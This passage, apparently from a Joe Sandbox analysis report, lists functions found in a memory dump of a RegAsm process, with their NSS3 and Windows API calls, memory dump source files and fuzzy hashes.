Part of subcall function 6C03CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C03CD93,?), ref: 6C03CF67
Part of subcall function 6C03CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C03CD93,?,?,?,?,?,?,?,?,?,?,?,6C03CD93,?), ref: 6C03CF78

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2ed61db122273229e80f850690641f6fca8dd846932aa1ae88ecb9dfe263ae24
Instruction ID: 93c173560191ec521edbea7d6bfe34dd2535ca10612be90b5b0887daaba6f840
Opcode Fuzzy Hash: 2ed61db122273229e80f850690641f6fca8dd846932aa1ae88ecb9dfe263ae24
Instruction Fuzzy Hash: 1751B376A002329BEB10EF69DC40B9A73E4AF48348F255624D95DD7790EB31FD05CB91

Function 6C036A70 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

DER_GetInteger_Util.NSS3(?), ref: 6C036ABF

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Integer_Util
String ID:
API String ID: 2649942920-0
Opcode ID: e918b00175e436ddb17832d969ee58b05f6dcfc47f8eddb610b58053a9206b3a
Instruction ID: 51cf7f99ab9e43e4fdc2a424a167b2c9308110e9d30984fcff6d4e1d2ea5f08f
Opcode Fuzzy Hash: e918b00175e436ddb17832d969ee58b05f6dcfc47f8eddb610b58053a9206b3a
Instruction Fuzzy Hash: E35148B4A01B168FEB248F25D841BA67BE4BF08318F10592DE4AEC7B51E735E444CF95

Function 6C00EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C00EF38

Part of subcall function 6BFF9520: PK11_IsLoggedIn.NSS3(00000000,?,6C02379E,?,00000001,?), ref: 6BFF9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C00EF53

Part of subcall function 6C014C20: TlsGetValue.KERNEL32 ref: 6C014C4C
Part of subcall function 6C014C20: EnterCriticalSection.KERNEL32(?), ref: 6C014C60
Part of subcall function 6C014C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C014CA1
Part of subcall function 6C014C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C014CBE
Part of subcall function 6C014C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C014CD2
Part of subcall function 6C014C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C014D3A

PR_GetCurrentThread.NSS3 ref: 6C00EF9E

Part of subcall function 6C099BF0: TlsGetValue.KERNEL32(?,?,?,6C0E0A75), ref: 6C099C07

free.MOZGLUE(00000000), ref: 6C00EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C00F016
free.MOZGLUE(00000000), ref: 6C00F022

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 91c09d419a98958b16d7c41d634c59ea489ccc6e94d4d5d393311a4c888df439
Instruction ID: 17662ac866324826e37becea889b804d3fe4a006b57c97587503fc54c20f0386
Opcode Fuzzy Hash: 91c09d419a98958b16d7c41d634c59ea489ccc6e94d4d5d393311a4c888df439
Instruction Fuzzy Hash: F441D0B1E0020AAFEF018FA8DC85BEE7BF9AF48348F054025F914A7350E771D9159BA5

Function 6BFFCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6BFFCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6BFFD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6BFFD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFFD025
PR_NewLock.NSS3 ref: 6BFFD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6BFFD074

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 2b5b9d99225b45dc6458745b4dc12cceb8e152310b3b9911361d98d637aa77ac
Instruction ID: 0840efffb5c89595a2f80425f4714d77f231d8deb129592e814e84ef03f65064
Opcode Fuzzy Hash: 2b5b9d99225b45dc6458745b4dc12cceb8e152310b3b9911361d98d637aa77ac
Instruction Fuzzy Hash: FF41A6B6A403159FDB10CF2DC88479ABBE8EF04354F1041A9DC198B3BAD778D486CBA1

Function 6C038810 Relevance: 9.1, APIs: 6, Instructions: 110memorythreadCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,?,6C0386AA), ref: 6C038851

Part of subcall function 6C031340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6BFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6BFCF599,?,00000000), ref: 6C03136A
Part of subcall function 6C031340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6BFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6BFCF599,?,00000000), ref: 6C03137E
Part of subcall function 6C031340: PL_ArenaGrow.NSS3(?,6BFCF599,?,00000000,?,6BFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6BFCF599,?), ref: 6C0313CF
Part of subcall function 6C031340: PR_Unlock.NSS3(?,?,6BFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6BFCF599,?,00000000), ref: 6C03145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,6C0386AA), ref: 6C03886C
PORT_ArenaAlloc_Util.NSS3(?,0000002C), ref: 6C038890
PR_GetCurrentThread.NSS3 ref: 6C03891C
PR_GetCurrentThread.NSS3 ref: 6C038937

Part of subcall function 6C099BF0: TlsGetValue.KERNEL32(?,?,?,6C0E0A75), ref: 6C099C07

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_CurrentThreadValue$CriticalEnterGrowGrow_SectionUnlock
String ID:
API String ID: 3779483720-0
Opcode ID: 7532ee38206456fafbd0b5e4125330a61aeca9c1744e54f691688e5c78370ec8
Instruction ID: cccd6ad8ec9db38ceb6b9cb61df29fc7e9709fd494aa65a32974b4cc66bd44ed
Opcode Fuzzy Hash: 7532ee38206456fafbd0b5e4125330a61aeca9c1744e54f691688e5c78370ec8
Instruction Fuzzy Hash: 92418EB0A016139FE7048F29C890B96B7E4BF05318F1493ABD81CDB751EB76E964CB91

Function 6C048890 Relevance: 9.1, APIs: 6, Instructions: 106COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000004,?), ref: 6C0488C0
PK11_HashBuf.NSS3(00000003,?,?,?), ref: 6C0488E0
NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C048915
HASH_ResultLenByOidTag.NSS3(00000000), ref: 6C048928
PK11_HashBuf.NSS3(00000000,?,?,?), ref: 6C048957
PK11_HashBuf.NSS3(00000004,?,?,?), ref: 6C048980

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: HashK11_$AlgorithmPolicy$Result
String ID:
API String ID: 2238172455-0
Opcode ID: aaadd2e45629ae7647ad14e337789ca5a5f6b4601051ec6e4370d422d12cfe92
Instruction ID: e55f603bb23c387ec4c26de3aa58de0ebfe1c7e4aa0a8107a4a10707009fc1de
Opcode Fuzzy Hash: aaadd2e45629ae7647ad14e337789ca5a5f6b4601051ec6e4370d422d12cfe92
Instruction Fuzzy Hash: 4F31D87290455AEBFB009A649C40B7F72D89B05318F488736EE14D7691F7359E1583E3

Function 6BFE2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6BFD2D1A), ref: 6BFE2E7E

Part of subcall function 6C0307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6BFD8298,?,?,?,6BFCFCE5,?), ref: 6C0307BF
Part of subcall function 6C0307B0: PL_HashTableLookup.NSS3(?,?), ref: 6C0307E6
Part of subcall function 6C0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C03081B
Part of subcall function 6C0307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C030825

PR_Now.NSS3 ref: 6BFE2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6BFE2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6BFD2D1A), ref: 6BFE2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6BFD2D1A), ref: 6BFE2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6BFE2F81

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: a3377e14c2e8bc6ce35d9feef738f742d70ea4fac42aa1af5b02d8f932da40c2
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: F931E4B3A00196AAE710C665DC84BBE72A9EB80314F5445B9D41D9F1F0FB3A9847C671

Function 6BFF6B70 Relevance: 9.1, APIs: 6, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BFF6BA9

Part of subcall function 6BFF9520: PK11_IsLoggedIn.NSS3(00000000,?,6C02379E,?,00000001,?), ref: 6BFF9542

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BFF6BC0
PORT_ArenaAlloc_Util.NSS3(00000000,0000001C,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BFF6BD7
PK11_HasAttributeSet.NSS3(?,?,00000002,00000000,?,?,?,?,00000007,?,00000000), ref: 6BFF6B97

Part of subcall function 6C011870: TlsGetValue.KERNEL32 ref: 6C0118A6
Part of subcall function 6C011870: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6BFF6C34,?,?,00000001,00000000,00000007,?), ref: 6C0118B6
Part of subcall function 6C011870: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BFF6C34,?,?), ref: 6C0118E1
Part of subcall function 6C011870: PR_SetError.NSS3(00000000,00000000), ref: 6C0118F9

PK11_HasAttributeSet.NSS3(?,?,00000001,00000000,00000007,?,00000000), ref: 6BFF6C2F
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000007,?,00000000), ref: 6BFF6C61

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: K11_$Util$Arena_Attribute$Alloc_ArenaAuthenticateCriticalEnterErrorFreeLoggedSectionUnlockValue
String ID:
API String ID: 2313852964-0
Opcode ID: 23ba0c48ba5d7b9cbfa5e1e1b38b674ecc10a5c92bc478396988d8240032096d
Instruction ID: a0f3baaca650c638410ae8cbf20d389168b3b51422aa0849c1a5abc222be21a3
Opcode Fuzzy Hash: 23ba0c48ba5d7b9cbfa5e1e1b38b674ecc10a5c92bc478396988d8240032096d
Instruction Fuzzy Hash: 7731F9B6A00301ABE7048F64DC81F9A77A8EF49794F044069FE08573A2DB75D952C6E5

Function 6BFD0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6BFD0A2C), ref: 6BFD0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6BFD0A2C), ref: 6BFD0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6BFD0A2C), ref: 6BFD0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6BFD0A2C), ref: 6BFD0E90
free.MOZGLUE(00000000), ref: 6BFD0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6BFD0A2C), ref: 6BFD0ED9

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 00c09617acab31638fd51bc5b8de22f4f10373f7739da69a271791cf20e85913
Instruction ID: 4fa31ef51d2e0060939977b40bf0a2a3981025d74ac3f0aee48c0f16ef6bbc4b
Opcode Fuzzy Hash: 00c09617acab31638fd51bc5b8de22f4f10373f7739da69a271791cf20e85913
Instruction Fuzzy Hash: 03212973E002055BEB004A769CA5B6BB3EEDBC1744F0D407DD81CA3222EAF8D85482A2

Function 6BFBA9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6C099270), ref: 6BFBA9BF
PR_IntervalToMilliseconds.NSS3(?,?,6C099270), ref: 6BFBA9DE

Part of subcall function 6BFBAB40: __aulldiv.LIBCMT ref: 6BFBAB66

Part of subcall function 6C09CA40: LeaveCriticalSection.KERNEL32(?), ref: 6C09CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6BFBAA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6BFBAA39
EnterCriticalSection.KERNEL32(?), ref: 6BFBAA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BFBAAEB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 4a794a57ece3036b2ac14731c7db81e5fadb384fe603259009cc51cd7cef3302
Instruction ID: a3c1059c9a3cb7375ba9013d9ef06d1b5375da7504315c5d4784f225b08af4f8
Opcode Fuzzy Hash: 4a794a57ece3036b2ac14731c7db81e5fadb384fe603259009cc51cd7cef3302
Instruction Fuzzy Hash: F0418D72604701DFD7009F29C584796FBF9FB46314F2486ADE4698B261DF79E882CB90

Function 6BFDAE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BFDAEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6BFDAECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BFDAEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6BFDAF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C0F9500), ref: 6BFDAF23

Part of subcall function 6C02F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C02F0C8
Part of subcall function 6C02F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C02F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BFDAF37

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 52f5c873405d767d0a97744819b19fff224e18aafd2d1460019c334131651d1c
Instruction ID: 45ad8312df6978110d8085a8a9aa587e314fff88ba8d075b67aaef5fdf58141c
Opcode Fuzzy Hash: 52f5c873405d767d0a97744819b19fff224e18aafd2d1460019c334131651d1c
Instruction Fuzzy Hash: D8214C73908200ABE7108E289C41B9A77E4AF85728F184359FE589F3E0E735D549879B

Function 6C0E8A50 Relevance: 9.1, APIs: 6, Instructions: 84networkthreadCOMMON

Download Yara Rule

APIs

htons.WSOCK32(?), ref: 6C0E8A8F

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

htons.WSOCK32(?), ref: 6C0E8ACB
PR_GetCurrentThread.NSS3(?), ref: 6C0E8AE2
htons.WSOCK32(?), ref: 6C0E8B1E
htonl.WSOCK32(7F000001,?), ref: 6C0E8B3B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: htons$CurrentModulePageSizeThreadhtonl
String ID:
API String ID: 3860140138-0
Opcode ID: a0b80f53d17686ef0bc36adce9c810b44356efd0609f90fdbba397dd33f8bb64
Instruction ID: 97469ac96a30bafd9e14c1249a8545312f6cb0597fb61da23acd23ffb6dc7c32
Opcode Fuzzy Hash: a0b80f53d17686ef0bc36adce9c810b44356efd0609f90fdbba397dd33f8bb64
Instruction Fuzzy Hash: 19219AB0D947558ED3209F39894166BB2F5AF99308B619B1FE8E993A21F730A0C0C795

Function 6C05EE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C05EE85
realloc.MOZGLUE(4B58E61A,?), ref: 6C05EEAE
PORT_Alloc_Util.NSS3(?), ref: 6C05EEC5

Part of subcall function 6C030BE0: malloc.MOZGLUE(6C028D2D,?,00000000,?), ref: 6C030BF8
Part of subcall function 6C030BE0: TlsGetValue.KERNEL32(6C028D2D,?,00000000,?), ref: 6C030C15

htonl.WSOCK32(?), ref: 6C05EEE3
htonl.WSOCK32(00000000,?), ref: 6C05EEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C05EF01

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 1e2df5bc131ea58371d61f9d78ec15ed183f82e55010c818025224da332d5ad7
Instruction ID: d8b22306e1168cd22d06a62e3781fc4382c53baa07e8507962cd74c38e5a64e0
Opcode Fuzzy Hash: 1e2df5bc131ea58371d61f9d78ec15ed183f82e55010c818025224da332d5ad7
Instruction Fuzzy Hash: 7E210531A002249FCB109F28DD8079AB7E4EF49758F548169EC689B741E334FC24CBE2

Function 6C00EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C00EE49

Part of subcall function 6C02FAB0: free.MOZGLUE(?,-00000001,?,?,6BFCF673,00000000,00000000), ref: 6C02FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C00EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C00EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C00EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C00EEB3

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

